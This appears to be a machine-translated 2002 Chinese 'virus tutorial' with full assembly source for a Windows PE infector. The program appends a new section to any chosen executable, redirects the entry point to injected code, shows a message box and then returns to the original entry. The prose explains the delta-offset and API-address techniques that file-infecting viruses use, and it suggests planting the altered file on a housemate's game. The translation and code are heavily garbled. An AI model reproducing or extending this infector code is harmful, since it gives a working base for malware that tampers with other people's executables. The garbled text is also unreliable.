Download this section example and source code (7.66 kB) viruses are not mysterious or not complicated. Quite many heroes have made outstanding contributions in this regard, such as 29A organization, my worship of their worship, really ... cough, don't throw eggs. In fact, what I want to say is: Technology is a double-edged sword, we should use it in a matter of beneficial to society. So do not use the code of this article to perform illegal discipline activities, otherwise I reserve the right to investigate. This article is actually an old-fashioned thing. SO If you have already understood the method of writing a virus, please skip this article; if you have a curiosity to the virus, but I haven't known how to write, then this article should fit you. :) The words retired. In a Windows environment, all executable files are PE formats, so one of the most important links to write viruses is to operate the PE file. But here I don't intend to explain the PE format, please read the reader to refer to the relevant information. I only analyze the difficulties I have encountered in actual writing: First, the reason why computer viruses is called viruses because it is the same as the virus in nature, it needs to have a host - it itself cannot be performed separately. So, how do you make it code when the virus is parasitic on the host? Let's first look at some concepts. The PE code map is divided into several sections, and the page boundary (4K) is aligned in the file. In general, the file will load the space starting at 400000h, and the first section is at 401000 hours, and the inlet address is also 401000h. How did this entry address 401000h calculate? If you view the image_optional_header of the PE header, it will find its imageBase usually 400000h, and AddressoreTryPoint is generally 1000h. 400000 1000 = 401000h, understand? Mastering this, we can add our own New Festival in PE, and then change this entry address to the first code to the New Festival. When the new festival is completed, recover the original entrance, so that the host's code can be continued. There is such a statement at almost every Win32 virus:
Call NStartnStart: Pop EBP SUB EBP, OFFSET NSTART These statements are used? It seems that it is nothing to do with full dinner .... Let us take a closer consider. When the normal PE program is executed, its base address (as mentioned above) is typically 400000H, which is relocated by the operating system, so it always guarantees that the program is successfully loaded. However, if we insert a new code in PE, suppose it starts to start from 654321h, then things are not as simple. Because the host program does not expect the existence of this code, the operating system is not possible to correct this offset for you. So we have to make a relocation operation. The above statement is to obtain the actual offset address of the virus in the host. The CALL instruction is actually a combination of PUSH and JMP. When Call NStart, actually presses the address of the Call NStart's next instruction (that is, POP EBP), then JMP to NSTART, because the POP EBP has been pressed into the stack, so when it is actually executed to POP EBP When this instruction is actually, the address of the POP EBP instruction is placed in EBP. This gives the true offset address of the current virological code. This is also a technique commonly used in the virus. There is almost no exception. There is also a key issue next again. Our virus code is attached to the host. If you want to use the API in the virus, you must first get the entry address of the API. But this is not an easy thing. Why do you say this way? Let's take a look at the code below: Invoke EXITPROCESS, 0 after the compiler, after connecting, it is in memory such as:
: 0040101A JMP DWORD PTR [00402000] That is, EXITPROCESS calls are through the call 0040101a, and the code at 00401A is a JMP, pointing to [00402000], this [00402000] is stored at the true EXIXITPROCESS The entrance address. Why do you have to pass so much? Oh, actually I don't know. But we know is that call an API is actually calling its address in memory. The virus is affiliated after the host compiled, so if the virus is to run the API, you must specify the Entou address of the API. Is it very annoying? Hoho, stick to it, you will make it very good. To get an entry address of the API, there are many kinds of methods, for example, by hard coding, this is a relatively simple method, but its defect cannot be running under different Windows versions, but because it is simple to implement, this article is still This method is used. Under the same version of Windows, the entry of the same core function is always constant (referring to the function exported by kernel32, gdi32, user32), so we can use the following method to get the API entry:
szDllName db "User32", 0szMessageBoxA db "MessageBoxA", 0MessageBoxA_Addr dd 0invoke GetModuleHandle, addr szDllNameinvoke LoadLibrary, addr szDllNameinvoke GetProcAddress, eax, addr szMessageBoxAmov MessageBoxA_Addr, eax in the virus, we can be executed MessageBoxA this API the use Call MessageBoxA_Addr [ebp] . Ok, I have already explained what I think is more important. If you have anything unclear, please give me a letter. LCother@163.net I will give an example program that adds a new section to the PE file to display the startup information. This East will add a new feasty at the end of the PE file, I named ".lc" to this section, which is attached to play a dialog when running, showing our prompt information. You can modify it, such as adding your own copyright information, then playing this "virus" in the main program of CS, then ... Oh, wait to see the surprised eyes of the house! In fact, as long as it makes some additional supplements, it can be considered a small virus. It is worth noting that this program should write to the code segment (which is SMC), so it should do this when compiling the connection: rc add_section.rcml / c / coff add_section.asmlink / subsystem: windows /section: TEXT RWE add_section.res add_section.objhave fun!
;***********************************************;program name: Add a new section for the PE file display startup information; author: Luo Cong; date: 2002-11-10; source: http: //www.luocong.com (Luo colorful world); this code uses virus technology But purely only for technology research.
; Remember: Do not use it for illegal purposes! ! ! ! ! ! Precautions: If you want to reprint, keep your entirety and indicate:; reprinted from "Lao Luo" (http://www.luocong.com); ********* ****************************************************************************32 /include/windows.incinclude /masm32/include/kernel32.incinclude /masm32/include/user32.incinclude /masm32/include/comdlg32.incincludelib /masm32/lib/kernel32.libincludelib /masm32/lib/user32.libincludelib / masm32 / lib /comdlg32.libwndproc Proto: DWORD,: DWORD,: DWORD,: DWORDDNEWSECTION Proto: DWORD; Very useful Macro: Ctext Macro Y: VARARG LOCAL SYM Const segment ifidni
WM_CLOSE invoke EndDialog, hWnd, 0 .elseif uMsg == WM_INITDIALOG; I set my icon: invoke LoadIcon, hInstance, IDI_LC invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL, eax .elseif uMsg == WM_COMMAND mov eax, wParam mov edx, eax shr EDX, 16 MOVZX EAX, AX .IF EDX == BN_Clicked .IF EAX == Idcancel Invoke Enddialog, Hwnd, Null .elseif Eax == IDC_Button_Open || EAX == Idok; invoke subroutines, add festival: Invoke Addsection, hwnd. endif .endif .else mov eax, FALSE ret .endif mov eax, TRUE retWndProc endpAddNewSection proc uses ecx hWnd: HWND LOCAL hFile: HANDLE LOCAL dwPE_Header_OffSet: DWORD LOCAL dwFileReadWritten: DWORD LOCAL dwMySectionOffSet: DWORD LOCAL dwLastSection_SizeOfRawData: DWORD LOCAL dwLastSection_PointerToRawData: DWORD; " Open file dialog: Mov off.lstructsize, sizeof offh hwnd pop offshwndowner push hInstance pop ofn.hInstance mov ofn.lpstrFilter, offset szFilterString mov ofn.lpstrFile, offset szFileName mov ofn.nMaxFile, MAXSIZE mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER mov ofn.lpstrTitle, offset szMyTitle invoke GetOpenFileName, addr ofn ; If you do not select the file name to exit: .if eax == 0 jmp Err_CreateFile_Exit .endif; open file: invoke CreateFile, addr szFileName, GENERIC_READ or GENERIC_WRITE, / FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL .if eax ==
Invalid_handle_value invoke messagebox, hwnd, ctext ("Open file failed!"), Addr szcaption, mb_ok or mb_iconhand jmp err_createfile_exit .ndif Mov Hfile, Eax; *************************** *************; read the PE file header:; ********************* ******************* invoke SetFilePointer, hFile, 3ch, 0, FILE_BEGIN invoke ReadFile, hFile, addr dwPE_Header_OffSet, 4, addr dwFileReadWritten, NULL invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, File_Begin Invoke Readfile, Hfile, Addr PE_HEADER, HEAD_LEN, ADDR DWFILEREADWRITEN, NULL; ********************************************* ********; Judging whether a valid PE file is, it continues:; ************************** ************. IF [pe_header.signature]! = Image_nt_signature; if not a valid PE file, give a tip: Invoke MessageBox, hwnd, ctext ("This is not a valid Win32 PE File! "), Addr szcaption, mb_ok or mb_iconhand jmp exitation, ******************************************************* ******; Judging whether there is enough space storage new festival: ******************************************* ******* MOVZX EAX, [PE_H eader.FileHeader.NumberOfSections]; preganglionic obtain the number of added new section: mov ecx, 28h; 28h = sizeof IMAGE_SECTION_HEADER mul ecx; eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER add eax, dwPE_Header_OffSet; eax = eax PE header offset add eax, 18h; 18h = sizeof IMAGE_FILE_HEADER movzx ecx, [PE_Header.FileHeader.SizeOfOptionalHeader] add eax, ecx; eax = eax sizeof IMAGE_OPTIONAL_HEADER add eax, 28h; the size of a new section of .if eax> [PE_Header.OptionalHeader.SizeOfHeaders ]; Not enough, give a tip: Invoke Messagebox, Null, ctext ("There is not enough space to join a new section! "
), addr szcaption, MB_OK or MB_ICONHAND JMP EXIT .Endif; **************************************************************** ***; save the original entrance, then use:; ******************************************* **** mov eax, [PE_Header.OptionalHeader.AddressOfEntryPoint] mov Old_AddressOfEntryPoint, eax mov eax, [PE_Header.OptionalHeader.ImageBase] mov Old_ImageBase, eax; ***************** *************************; Calculate the offset address of the New Festival:; (actually with the above "judgment Is there a sufficient space storage new festival "basically the same); ******************************************** ************* MOVZX EAX, [PE_HEADER.FILEHEADER.NUMBEROFSECTIONS] MOV ECX, 28H Mul ECX; EAX = Numberofsections * SizeOf Image_section_Header Add Eax, 4H; 4H = SizeOf "PE / 0/0 "Add eax, dwpe_header_offset add eax, sizeof image_file_header add eax, sizeof image_optional_header MOV DWMYSECTIONOFFSET, EAX; now gets our new offset address; ***************** **************; fill the information of our own section: (This part please check the PE format, easy to understand, not to say); *********************************************************** MOV DWORD PT R [my_section.name1], "cl."; name is called ".lc", huh, huh ... MOV [my_section.misc.virtualsize], offset vend - offset vStart Push [PE_HEADER.OPTIONALHEADER.SIZEOFIMAGE] POP [my_section. VirtualAddress] mov eax, [My_Section.Misc.VirtualSize] mov ecx, [PE_Header.OptionalHeader.FileAlignment] cdq div ecx inc eax mul ecx mov [My_Section.SizeOfRawData], eax; SizeOfRawData in the EXE file is aligned to an integer multiple of FileAlignMent Value MOV Eax, DWMYSECTIONOFFSET SUB EAX, 18H;
This offset positioning of the last one "SizeOfRawData" invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL; PointerToRawData each section equal to the section of its upper SizeOfRawData PointerToRawData: mov eax, dwLastSection_SizeOfRawData add eax, dwLastSection_PointerToRawData mov [My_Section.PointerToRawData], eax mov [My_Section.PointerToRelocations], 0h mov [My_Section.PointerToLinenumbers], 0h MOV [my_section.numberofrelocations], 0H MOV [my_section.numberoflinenumbers], 0h MOV [my_section.Characteristics], 0E0000020H; Readable can be writable; ***************** ************************; Rewind image_section_header: (contain information about the new section); *** ******************************************** Invoke setFilePointer, HFILE, DWMYSECTIONOFFSET, 0, FILE_BEGIN Invoke Writefile, Hfile, Addr my_section, sizeof image_section_header, Addr DWF ilereadwritten, null; ***************************; get the linear address of MessageBoxa :; ********************************************** Invoke getModuleHandle, AddR Szdllname Invoke LoadLibrary, Addr Szdllname Invoke GetProcaddress, Eax, Addr SzmessageBoxa Mov Messageboxa_addr, Eax; ****************************************************** ****; Finally Write our New Festival in the file: ******************************** ******* Invoke SetFilePointer, Hfile, 0, 0, File_END PUSH 0 Lea Eax, DWFileReadwritten Push Eax Push [My_SECTION.SIEOFRAWDATA] Lea Eax, vStart Push Eax Push Hfile Call Writefile; ******** ********************************; change image_nt_headers, make new festival First of all:
(Need to rewrite SizeOfImage and AddressofentryPoint; ************************************************* ********* inc [PE_Header.FileHeader.NumberOfSections] mov eax, [My_Section.Misc.VirtualSize] mov ecx, [PE_Header.OptionalHeader.SectionAlignment] cdq div ecx inc eax mul ecx add eax, [PE_Header. OptionalHeader.SizeOfImage] mov [PE_Header.OptionalHeader.SizeOfImage], eax; SizeOfImage is aligned to an integer multiple of the SectionAlignment mov eax, [My_Section.VirtualAddress] mov [PE_Header.OptionalHeader.AddressOfEntryPoint], eax; now is directed AddressOfEntryPoint the new section of the first instruction invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN invoke WriteFile, hFile, addr PE_Header, sizeof IMAGE_NT_HEADERS, addr dwFileReadWritten, NULL; ***************** *********************** ;carry out! Show success information:; ************************************ Invoke MessageBox, hwnd, CText ("Add New Festival Success!"), AddR Szcaption, MB_OK or MB_ICONIKMATIONExit:; Close File: Invoke CloseHandle, HfileerR_createFile_Exit: retaddnewsection endp; ********************************************************************************* ******************; huh, our own stuff: (like a virus?); ************ ************************** VSTART: CALL NSTARTNSTART: POP EBP SUB EBP, OFFSET NStart; get the actual offset in the file in the file Address; Display dialog: Push MB_OK or MB_ICONINFORMATION LEA EAX, SZMYCAPTION [EBP] PUSH EAX LEA EAX, SZMYMSG [EBP] Push EAX PUSH 0 CALL MessageBoxa_addr [EBP]; Restore the original entry address.
When this section is executed, return to the original file entry to continue: MOV EAX, OLD_IMAGEBASE [EBP] add eax, old_addressofentryPoint [EBP] Push Eax Ret; variable definition: MessageBoxa_addr DD 0 SzmyMSG DB "Add new Show Startup Information BY LC ", 0 OLD_IMAGEBASE DD 0 OLD_ADDRESSOFENTRYPOINT DD 0VEND: End Main; ***************** OVER ******** OVER ******** ****** ******; by LC its resource file: #include "resource.h" #define idc_static -1 # define idi_lc 1 # define idc_button_open 3000IDI_LC icon "lc.ico" LC_Dialog DialoGex 10, 10, 195, 115style DS_SETFONT | DS_CENTER | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENUCAPTION "Section Add Demo by LC, 2002-11-10" Font 9, "Song", 0, 0, 0x0 Segin Groupbox "Info", IDC_Static, 5, 5, 185, 75 CText "- Add new festival to PE file display startup information -", IDC_STATIC, 10, 20, 175, 10 ctext "- = Virus Tutor IAL series = - ", IDC_STATIC, 10, 30, 175, 10 ctext" Lao Luo ", Idc_Static, 10, 50, 175, 10 ctext" www.luocong.com ", IDC_STATIC, 10, 60, 175, 10 Defpushbutton "Open File (& O)", IDC_Button_Open, 70, 90, 55, 15, BS_FLAT | BS_CENTEREND Lao Luo 2002-11-10